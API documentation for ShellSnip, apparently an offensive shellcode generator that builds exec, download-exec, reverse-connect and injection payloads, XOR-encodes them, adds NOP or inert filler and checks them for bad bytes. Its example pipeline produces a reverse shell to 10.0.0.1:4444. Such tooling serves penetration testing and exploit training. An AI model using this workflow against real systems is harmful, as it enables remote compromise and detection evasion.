Python API
Python API
app/shellSnip.py exposes the ShellSnip class, the end-to-end orchestrator: create opcodes from a recipe, compile with NASM, optionally encode, validate, and write output.
from app.shellSnip import ShellSnip
bot = ShellSnip(os_="posix", arch="64")
The constructor takes os_ (default "win") and arch (default "64"), and instantiates a TemplateManager for that platform.
ShellSnip.create(name, params)
Generates the resolved NASM source from a recipe.
name(str) — recipe name (exec,dlexec,connect,inject)params(dict, optional) — recipe parameters
Returns the NASM source string. Raises if the recipe or its platform directory does not exist.
ShellSnip.compile()
Compiles the opcodes produced by create() using nasm -f <format>. The NASM output format is derived from the target platform: win → win, posix → elf, macos → macho.
payload = bot.compile() # bytearray
Raises SystemError("Create opcodes first.") if create() was not called. The raw opcode bytes are extracted from the compiled object with objdump -D.
ShellSnip.encode(method, **params)
Applies a registered encoder to the compiled shellcode, then re-compiles the resulting decoder-stub NASM so that the compiled result is the final self-decoding payload.
nasm, metadata = bot.encode("xor") # auto key
nasm, metadata = bot.encode("xor", key=0x41) # explicit key
nasm, metadata = bot.encode("chunk", sentinel=0x90)
Raises SystemError if the shellcode was not compiled, and KeyError if method is not a registered encoder.
ShellSnip.analyze(bad_chars)
Reports where forbidden bytes occur in the compiled shellcode.
bad_chars(str, optional) — bad-character specification. Accepts\x00\x0a,0x00,0x0a,00 0aand00,0a. Default:\x00.
Returns a BadCharReport with payload_size, the per-byte offsets, counts, total and clean, plus to_dict() (machine-readable) and format() (human-readable). Raises SystemError if the shellcode was not compiled yet, and ValueError if the specification cannot be parsed.
report = bot.analyze(r"\x00\x0a")
report.clean # False
report.offsets[0x00] # [3, 17, 42] — exact offsets
ShellSnip.validate(forbidden)
Checks the compiled shellcode for forbidden bytes and returns True when none is present, False otherwise. Implemented on top of analyze, so both always agree.
forbidden(str, optional) — same specification format asanalyze. Default:\x00(null bytes).
An unparsable specification raises ValueError rather than silently matching nothing.
ShellSnip.pad(size, strategy, bad_chars, **params)
Prepends a code-cave filler to the compiled shellcode: the bytes that will execute before the payload in the wider buffer it is dropped into.
size(int) — number of filler bytes to produce.strategy(str, optional) — registered padding strategy:none(default, no filler),nop(0x90repeated) orinert(no-op instructions with no0x90).bad_chars(str, optional) — bad-character specification the filler must avoid, same notations asanalyze. Default:\x00.**params— strategy-specific parameters.
Returns the filler that was applied. The filler is held with the payload and
prepended by print(), write() and output(), so validation covers it too.
Raises SystemError if the shellcode was not compiled, or if a filler was
already applied — padding twice would silently discard the first filler.
Raises KeyError for an unknown strategy, and ValueError when the strategy
cannot produce exactly size bytes without emitting a forbidden byte.
inert emits whole instructions only, never 0x90, and treats bad_chars as a
hard filter: units using a banned byte are discarded, and an unreachable size is
refused rather than filled short. The shortest inert instruction is two bytes —
the only one-byte no-op is 0x90 itself — so pad(1, "inert") raises.
bot = ShellSnip(os_="posix", arch="64")
bot.create("exec", {"cmd": "exit 7", "visible": False})
bot.compile()
bot.encode("xor") # optional; pad after encoding
bot.pad(64, "inert", bad_chars=r"\x00")
bot.validate() # analyses filler + payload
bot.write("padded.raw") # filler then payload
ShellSnip.output()
Returns the full output — cave filler followed by the compiled payload — as
bytes. This is what print() renders and write() stores.
ShellSnip.print()
Returns the compiled shellcode as a \xNN-escaped hex string, prefixed by any
filler applied with pad().
ShellSnip.write_nasm(name)
Writes the resolved NASM opcodes to name.
ShellSnip.write(name)
Writes the compiled binary shellcode to name, prefixed by any filler applied
with pad().
Padding strategies
app.padding mirrors app.encoders: an AbstractPaddingStrategy base, a
PaddingRegistry singleton, and self-registering built-ins.
from app.padding import PaddingRegistry, InertPadding
PaddingRegistry().names() # ['inert', 'none', 'nop']
filler = InertPadding().fill(64, "64", bad_chars=[0x00])
InertPadding().explain(64, "64") # the exact units chosen, in order
Typical pipeline
from app.shellSnip import ShellSnip
bot = ShellSnip(os_="posix", arch="64")
bot.create("connect", {"ip": "10.0.0.1", "port": 4444})
bot.compile()
bot.encode("xor")
bot.pad(64, "inert") # optional: code-cave filler in front of the payload
bot.analyze(r"\x00\x0a") # optional: exact offsets of forbidden bytes
bot.validate()
bot.write("revshell.raw")
This mirrors the exact sequence generate.py runs: create → compile → encode (optional) → pad (optional) → validate → write.
Isolated ASM blocks
ShellSnip works on recipes. To assemble or inspect a single ASM block — a
snippet, an instruction, a self-contained stub — use the block helpers in
app.utils:
from app.utils.assembler import assemble, assemble_checked, NasmError
from app.utils.disassembler import disassemble, annotate, format_listing
# Assemble a block to its exact bytes (no padding, no encoder, no file written)
blob = assemble("push rax\nret 4", "posix", "64") # -> b"\x50\xc2\x04\x00"
# Validate: reject anything NASM warns about, and get the diagnostics back
try:
blob, diagnostics = assemble_checked("push rax\nret 4", "posix", "64")
except NasmError as err:
print(err.diagnostics) # NASM's own text
print([e["line"] for e in err.entries]) # already rebased to your block
# Disassemble raw bytes into structured instructions
instructions = disassemble(b"\x31\xc0\xb0\x3c\x00\x0f\x05", "64", "posix")
for instr in instructions:
print(f"{instr.offset:#04x} {instr.data.hex():<8} {instr.text}")
# Correlate: which instruction emitted each forbidden byte?
annotated, report = annotate(instructions, b"\x31\xc0\xb0\x3c\x00\x0f\x05", r"\x00\xc0")
print(format_listing(annotated))
Blocks are assembled as flat binaries (nasm -f bin with [BITS 32]/[BITS 64]),
so a block must be self-contained. Two consequences worth knowing:
- Every
os_target (win/posix/macos) produces the same bytes for the same block, because flat-binary shellcode has no container. Unlike the recipe path, this works for macOS. - A block that assembles only with warnings is rejected by default, because
NASM reports a mistyped one-word instruction as a stray label. Use
assemble_checked(..., strict=False)when you only want the bytes.